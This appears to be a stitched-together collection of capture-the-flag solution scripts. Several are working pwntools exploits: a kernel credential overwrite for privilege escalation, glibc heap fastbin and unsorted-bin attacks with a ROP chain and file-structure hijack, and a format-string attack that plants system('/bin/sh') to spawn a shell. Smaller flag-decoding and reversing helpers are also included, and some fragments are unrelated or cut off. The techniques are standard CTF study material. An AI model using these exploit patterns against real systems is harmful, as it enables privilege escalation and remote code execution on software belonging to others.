flagenc = [0x00000C5B, 0x00000CDD, 0x00000D1F, 0x000018C0, 0x000018C6, 0x00000C26, 0x00000E72, 0x00000DF7, 0x000019B1, 0x00000D41, 0x00000D08, 0x0000191C, 0x00000CD9, 0x00000EB1, 0x00000CEE, 0x00001A78, 0x00000D8B, 0x00000D99, 0x00000D64, 0x00000CED, 0x000019F8, 0x00000E61, 0x00001A7F, 0x00001AE7, 0x00000F26, 0x00001B34, 0x00001AD0, 0x00000D7C, 0x00000FC9, 0x00000E7E, 0x00001C0E, 0x00001BAE]
flag = ""

out = 0x1024

for i in range(len(flagenc)):
        for j in range(33,127):
                if(((j * out) >> 6) == flagenc[i]):
                        flag += chr(j)
                        print(flag)
        out += (i + 1)

print(flag)
#134bb097e43b292f4431b6cd8db194db

#-*- coding: utf-8 -*-
from pwn import *

r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

context.log_level = 'debug'
# HOST,PORT = "babykernel2.forfuture.fluxfingers.net","1337"

# p = remote(HOST,PORT,timeout=10)
HOST,PORT = "127.0.0.1", 8888
p = remote(HOST, PORT)

def read(addr):
    sl("> ",str(1))
    sl("> \r\r\n",hex(addr))
    r("level is: ")
    value = int(p.recv(16),16)
    return value

def write(addr,value):
    sl("> ",str(2))
    sl("> \r\r\n",hex(addr))
    sl("> \r\r\n",hex(value))

init_task = 0xffffffff8181b4c0
offset = 0x218
# init_task.tasks.prev
task = read(init_task+offset)-0x210
# task.cred
cred = read(task+0x400)
write(cred,0)
write(cred+0x8,0)
write(cred+0x10,0)
write(cred+0x18,0)
write(cred+0x20,0)
p.sendlineafter("> ",str(3))
# read flag
p.sendlineafter("> ",str(4))
p.sendline("./flag")
p.interactive()
# flag{nicely_done_this_is_how_a_privesc_can_also_go}

#!python
#-*- coding: utf-8 -*-
#@Date: 2019-10-19 11:02:57
from pwn import *

context.terminal = ['tmux','sp','-h','-l','120']
context.log_level = 'debug'
HOST,PORT = "55fca716.gamectf.com",37009
p = remote(HOST,PORT)

# p = process("./pwn")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

ru = lambda x: p.recvuntil(x, drop = True,timeout=1)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

def add(size,cnt):
    sa("choice > ",str(1).ljust(0x8,'\0'))
    sa("Size > ",str(size).ljust(0x8,'\0'))
    sa("Content > \n",cnt)

def show():
    sa("choice > ",str(2).ljust(0x8,'\0'))

def de():
    sa("choice > ",str(3).ljust(0x8,'\0'))

def edit(size,cnt):
    sa("choice > ",str(4).ljust(0x8,'\0'))
    sa("Size > ",str(size).ljust(0x8,'\0'))
    sa("Content > \n",cnt)

def z():
    gdb.attach(p, gdbscript='''
        finish
        ni 9
        b *$pc
        b *__libc_malloc
    ''')

sa("name?\n",'\x00'*0x1f)

add(0xf08,'\n')
add(0x18,'\n')
edit(0x20,'\0'*0x18+p64(0xd1))
add(0x108,'\n')
add(0x68,'\n')
show()

libc.address = u64(p.recv(8))-0x3c4c0a
log.info("libc.address:"+hex(libc.address))
__malloc_hook = libc.sym['__malloc_hook']
log.info("__malloc_hook:"+hex(__malloc_hook))
one = libc.address+0xf02a4
log.info("one:"+hex(one))

de()
edit(0x8,p64(__malloc_hook-0x23))
add(0x68,'\n')
add(0x68,'\x00'*0x13+p64(one))

sa("choice > ",str(1).ljust(0x8,'\0'))
sa("Size > ",str(0x18).ljust(0x8,'\0'))

p.interactive()

#!python
#-*- coding: utf-8 -*-
#@Date: 2019-10-19 11:20:07
from pwn import *

context.log_level = 'debug'

HOST,PORT = "a139cb3d.gamectf.com","15189"
p = remote(HOST,PORT,timeout=10)

# p = process("./pwn")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

ru = lambda x: p.recvuntil(x, drop = True,timeout=1)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

def add(idx,size,cnt):
    sla("Choice:",str(1))
    sla("index:\n",str(idx))
    sla("size:\n",str(size))
    sa("context:\n",cnt)

def de(idx):
    sla("Choice:",str(2))
    sla("index:\n",str(idx))

def show(idx):
    sla("Choice:",str(3))
    sla("index:\n",str(idx))

def edit(idx):
    sla("Choice:",str(4))
    sla("index:\n",str(idx))
    ru("Done!\n")

# leaking libc and heap

add(0,0x88,'0'*0x88)
add(1,0x88,'1'*0x88)
add(2,0xe8,'2'*0xe8)
add(3,0x88,'3'*0x88)
add(4,0x88,'4'*0x88)
add(5,0x88,'flag\n')
de(0)
show(0)
ru("note[0]: ")
libc.address = u64(p.recv(6).ljust(0x8,'\0'))-0x3c4b78
log.info("libc.address:"+hex(libc.address))
_IO_list_all = libc.sym['_IO_list_all']
log.info("_IO_list_all:"+hex(_IO_list_all))
open = libc.sym['open']
log.info("open:"+hex(open))
read = libc.sym['read']
log.info("read:"+hex(read))
write= libc.sym['write']
log.info("write:"+hex(write))

de(4)
add(6,0x88,'a'*8+'\n')
show(6)
ru("a"*8)
heap = u64(p.recv(6).ljust(0x8,'\0'))-0x4d0
log.info("heap:"+hex(heap))

# unsorted bin attack

de(3)
de(0)
add(7,0x88,2*p64(0)+p64(heap+0x248)+p64(heap+0x250)+p64(heap+0x240)+'\n')
add(8,0x118,'\0'*0x80+p64(0x290)+p64(0x90)+'\n')
de(4)
de(1)

payload = '\0'*0x78+p64(0x91)
payload += p64(0)+p64(libc.address+0x3c67e8)

# fastbin attack

add(9,0x318,payload+'\n')
add(10,0x88,'\n')
de(2)
de(9)

prdi_ret = libc.address+0x21102
prsi_ret = libc.address+0x202e8
pprdx_ret = libc.address+0x101ffc

# rop

payload = 7*p64(0)+p64(prdi_ret) #pop rdi;ret
payload += p64(heap+0x570)+p64(prsi_ret)+p64(0)
payload += p64(open)+p64(prdi_ret)+p64(4)
payload += p64(prsi_ret)+p64(heap+0x1000)+p64(pprdx_ret)
payload = payload.ljust(0x88,'\0')
payload += p64(0x91)+p64(0)+p64(read)+p64(prdi_ret)+p64(1)
payload += p64(prsi_ret)+p64(heap+0x1000)+p64(pprdx_ret)+p64(0x91)+p64(0)
payload += p64(write)
payload += '\0'*0x28
payload += p64(0xf1)+p64(heap+0x9f)

add(11,0x318,payload+'\n')

fake = 2*p64(0)
fake += 0x1b*p64(libc.address+0x47b75)
add(12,0xe8,fake)

payload1= "\x00"+p64(heap+0x100)+p64(libc.address+0xc96a6)+5*p64(0)+p64(heap+0x360)
payload1+= 9*p64(0)+p64(libc.address+0x353aa)#add rsp,0x38;ret
add(13,0xe8,payload1+'\n') #add rsp,0x38;ret

# hijack file struct

edit(0)

p.interactive()

from pwn import *

context.binary = "./format"
#context.log_level = 'debug'
context.terminal = ['tmux','sp','-h','-l','120']

ip = "152.136.18.34"
port = 9999

#io = process('./format',env={'LD_PRELOAD':"./libc-2.23.so"})
io = remote(ip,port)
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc =ELF("./libc-2.23.so")
#print io.libs()
#proc_base = io.libs()['/mnt/hgfs/ReIt/3/CurseofPyramid/format']
#log.info('proc_base:'+hex(proc_base))
#libc_base = io.libs()['/lib/i386-linux-gnu/libc-2.23.so']
#log.info('libc_base:'+hex(libc_base))

def input(content):
    io.recvuntil('Choice:')
    io.sendline(str(1))
    io.recvuntil('What do tou want to say:')
    io.send(content)

def quit():
    io.recvuntil('Choice:')
    io.sendline(str(2))

# leaking
input("%3$p %11$p %5$p ")

proc = int(io.recvuntil(' ').ljust(0x8,'\x00'),16)-0x8f3
log.info("proc:"+hex(proc))
libc.address = int(io.recvuntil(' ').ljust(0x8,'\x00'),16)-0x18637
log.info("libc:"+hex(libc.address))

# one = libc.address+0x3a819
system = libc.sym['system']
log.info('system:'+hex(system))
binsh = next(libc.search('/bin/sh'))
log.info("binsh:"+hex(binsh))

stack = int(io.recvuntil(' ').ljust(0x8,'\x00'),16)-0x98
log.info("stack:"+hex(stack))

# change 1 byte
temp = stack&0xffff
input("%{0}c%5$hn".format(temp))
temp = system&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+1
input("%{0}c%5$hhn".format(temp))
temp = (system>>8)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+2
input("%{0}c%5$hhn".format(temp))
temp = (system>>16)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+3
input("%{0}c%5$hhn".format(temp))
temp = (system>>24)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+8
input("%{0}c%5$hhn".format(temp))
temp = binsh&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+9
input("%{0}c%5$hhn".format(temp))
temp = (binsh>>8)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+10
input("%{0}c%5$hhn".format(temp))
temp = (binsh>>16)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+11
input("%{0}c%5$hhn".format(temp))
#gdb.attach(io,'b *'+hex(proc_base+0x951))
temp = (binsh>>24)&0xff
input("%{0}c%53$hhn".format(temp))

quit()

# modify ecx
io.interactive()

#/usr/env/bin python
import struct

# mathematica

In [0]: Reduce[x^2 - 7*y^2 == 8 && x > FromDigits["FFFFFFFFFFFFFF", 16] &&
x < FromDigits["1000000000000000", 16] && y>0, {x, y}, Integers]

Out[0]: (x == 385044246406735194 && y == 145533045678356702)
'''

x = 0x557f3b3b9e1a55a
y = 0x2050988b2bd38de

tmp = []
for i in struct.pack('<Q',x)+struct.pack('<Q',y):
    tmp.append(ord(i))

v30 = 0xE38C9616
v31 = 0x646E9881
v32 = 0x81DC0884
v33 = 0x4F484DBE

pp = lambda x:struct.pack('<I',x)

xor = []
for j in pp(v30)+pp(v31)+pp(v32)+pp(v33):
    xor.append(ord(j))

flag = ""

for i in range(16):
    #print(chr(tmp[i]^xor[i]))
    flag+=chr(tmp[i]^xor[i])
print(flag)
    # print(tmp[i]^xor[i])

#/usr/bin/env python

# get_url
if STEP1:

    enc1 = [0xE,0x12,0x12,0x16,0x5C,0x49,0x49,0x57,0x54,0x51,0x48,0x56,0x48,0x56,0x48,0x57,0x5C,0x5E,0x56,0x56, 0x56]
    url = ""

    for byte in enc1:
        url+=chr(byte^0x66)
    print(url)

# get_html
if STEP2:
    path = "/Users/apple/Competion/CTF/CTFPro/2019/kctf-q2/5/1.html"

    with open(path,'w+') as f:

        for byte in idc.get_bytes(0x4004,0x85F3):
            f.write(byte^0x67)